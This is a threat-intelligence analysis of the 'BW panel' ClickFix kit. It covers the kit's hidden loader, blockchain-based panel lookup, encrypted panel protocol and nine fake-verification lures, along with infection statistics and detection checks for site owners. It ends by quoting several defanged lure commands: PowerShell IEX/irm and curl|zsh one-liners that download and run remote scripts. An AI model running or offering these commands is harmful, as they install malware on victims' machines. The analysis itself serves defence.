BW panel ClickFix kit

Where it hides

BW panel's loader is a short wrapper in the page head: Base64, a single-byte XOR and new Function. The XOR key changes with every build, but the loader underneath keeps the same code and markers.

On one site it arrived through Cloudflare Zaraz: a malicious Pageview action served it from the site's own /cdn-cgi/zaraz/s.js path, so it looked like part of the site. Another researcher found the same loader added to pages by a malicious Cloudflare Worker. On other sites it is a full-screen div with an iframe written straight into the HTML. A planted WordPress plugin loads it too: a folder named script-[hex]-[hex] in wp-content/plugins/ whose assets/css.js the plugin adds to every page under a handle starting h_.

Researchers and abuse reports file this activity under ErrTraffic.

Finding the panel

The loader sends a read-only eth_call to a Polygon contract and gets back the panel's address. The main loader uses the selector 0xb68d1809 across rotating contracts. A separate overlay layer reads 0x08207B087F61d7e95E441E15fd6d40BEfd6eD308 with the selector 0x38bcdc1c. Each loader spreads its requests across as many as thirteen public RPC services.

Talking to the panel

Once it has the address, the loader asks the panel for its settings at /api/index.php?a=cfg. Requests are RC4-encrypted: the q= parameter carries an 8-byte nonce and the ciphertext, keyed by a fixed API key plus that nonce. Replies come back encrypted with RC4 (enc=q2) or AES-GCM (enc=gcm1). Other actions report events (a=evt), downloads (a=dl) and fetch a lure module (a=js&mode=).

The panel decides what each visitor sees, and one browser key stops it repeating itself: a visitor with site_repair_state in local storage never sees the lure again.

Nine lures

Mode	File
browser	v1.js
font	v2.js
recaptcha	v3.js
bsod	v4.js
silent	v5.js
cloudflare	v6.js
cf_update	v7.js
mac_recaptcha	v8.js
mac_cloudflare	v9.js

The loader runs the chosen module through a function called __BW_MODE_RUN__. The Cloudflare module fetches a command, copies it, reports whether the copy worked (clip_ok or clip_fail) and keeps polling the panel. The overlay is a full-screen iframe with clipboard access. When the visitor finishes, the page posts cf-captcha-verified and sets a _cf_verified cookie for 90 days.

The commands are PowerShell. A lure first seen on 11 October fingerprints Windows visitors, sends encrypted telemetry and then hands out an irm command with steps for pasting into Terminal.

What we see

Month	New sites
September	1,856
October	596
November so far	48

Of the 1,842 sites recaptured at least 25 days after their first match, 1,227 were still serving BW panel (67%). 93% of BW panel sites captured since 25 September run WordPress.

Checking a site

Look in the page source for:

• a script that decodes Base64, XORs it with a number and runs it with new Function
• references to __BW_MODE_RUN__ or files named v1.js to v9.js from a host you do not recognise
• a full-screen div with an id like _tds_o holding an iframe
• a script from wp-content/plugins/script-[hex]-[hex]/assets/css.js, a plugin you did not install

In the browser, look for a site_repair_state or bw-downloaded entry in local storage, or a _cf_verified cookie your site never set. In Cloudflare, check for Zaraz actions or Workers that nobody on your team created.

iex((iwr 'hxxps://dog[.]caspers66[.]com/pidor.ps1' -UseBasicParsing).Content)

IEX((New-Object Net.WebClient).DownloadString('hxxps://red[.]chuseatery[.]com/pidor.ps1'))

curl -s $(echo "[base64 of: hxxps://lens80[.]com/curl/jcpqtd6mc/luwhovem7whnfhext2tspeyi.json]" | openssl base64 -d -A) | zsh

IEX((New-Object Net.WebClient).DownloadString('hxxps://moss[.]coffeecommongrounds[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------

curl -s $(echo "[base64 of: hxxps://coral79[.]com/curl/qgxizgwbqv/8hicwyf19i21eeck4s.json]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://cleanavcheskre[.]com/x/proliv2929' >/dev/null

IEX((New-Object Net.WebClient).DownloadString('hxxps://lion[.]elfrias[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------

irm gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70 | iex

curl -s $(echo "[base64 of: hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json]" | openssl base64 -d -A) | zsh

IEX((New-Object Net.WebClient).DownloadString('hxxps://love[.]district7pho[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY -----------------------